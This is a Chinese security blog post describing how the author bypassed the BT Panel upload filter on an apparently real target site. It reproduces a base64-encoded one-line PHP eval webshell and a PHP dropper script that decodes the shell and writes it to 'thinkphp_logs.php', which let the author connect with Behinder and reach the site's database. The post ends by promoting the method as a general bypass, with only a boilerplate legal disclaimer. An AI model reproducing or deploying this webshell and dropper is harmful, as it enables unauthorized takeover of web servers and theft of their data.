记一次绕过宝塔的的文件上传

admin 2024年5月19日22:03:28评论2 views字数 1183阅读3分56秒阅读模式
本文由掌控安全学院 - caih 投稿

前几天找到个可以上传任意文件的上传点,成功上传phpinfo页面并能访问,但是不能成功上传一句话,发现这台主机装了宝塔,经过反复尝试终于成功上传一句话并连接。
0x01 漏洞发现
结果前期摸索,发现了一个上传点,能上传任意文件,且会返回路径漏洞挖掘 | 记一次绕过宝塔的的文件上传

尝试上传phpinfo页面,上传成功并返回地址(phpinfo页面忘记截图了),到这里想着getshell离我不远了,只有一句话的距离。
0x02 遇见障碍
一切当然没有想象中的顺利,上传一句话并没有返回路径,尝试不同的一句话,发现不管是使用冰蝎还是蚁剑的免杀马都不能成功返回路径,工具扫一波发现使用的是宝塔。
在宝塔官网发现,应该是禁用了危险函数,对我们上传的php文件会进行检查,看是否存在危险函数。
0x03 新思路漏洞挖掘 | 记一次绕过宝塔的的文件上传

那么就得换一种思路,既然上传上去的一句话连不上,就尝试在本地生成一个一句话。由于我们能上传任意文件,于是先上传一个base64加密的一句话文本即txt文件,返回文件路径IDw/cGhwIEBldmFsKCRfUE9TVFsnYSddKTsgPz4=

漏洞挖掘 | 记一次绕过宝塔的的文件上传

接下来我们上传一个将上述txt文件进行base64解码并生成一个名叫thinkphp_logs.php的一句话的php文件。内容为:

<?php$path = “./“;$path = $path.”1.txt”;echo $path;//$fp = fopen(“$path”,”r”);//$str = fread($fp,filesize($path));$str = file_get_contents(“$path”,”r”);$str = base64_decode($str);echo $str;$handle = fopen(“./thinkphp_logs.php”,”w”);fwrite($handle,$str);fclose($handle);?>

漏洞挖掘 | 记一次绕过宝塔的的文件上传

如上,由于此文件并没有危险函数,所以并未被删除,成功返回路径,需要执行这个php文件就得在web上访问一下他,利用返回的路径,在浏览器访问这个文件,该文件成功执行

漏洞挖掘 | 记一次绕过宝塔的的文件上传

一句话在本地生成,宝塔并未删除,用冰蝎连接,连接成功

漏洞挖掘 | 记一次绕过宝塔的的文件上传

但是由于使用了宝塔,限制得很死并不能执行任何命令,只能连数据库,并未成功getshell

漏洞挖掘 | 记一次绕过宝塔的的文件上传

0x04 总结
这次并没有成功的getshell,只是获取了数据库。这里只是讲述了文件上传的新思路,如果不能成功上传一句话就不需要再去尝试直接上传一句话,可以考虑先上传不会被查杀的php文件,然后通过这个文件生成一句话,按照这种思路,生成一句话的方法就有很多种,就不限于这种加密之后再解密。

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

漏洞挖掘 | 记一次绕过宝塔的的文件上传

原文始发于微信公众号(掌控安全EDU):漏洞挖掘 | 记一次绕过宝塔的的文件上传


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月19日22:03:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次绕过宝塔的的文件上传https://cn-sec.com/archives/2755766.html

发表评论

匿名网友 填写信息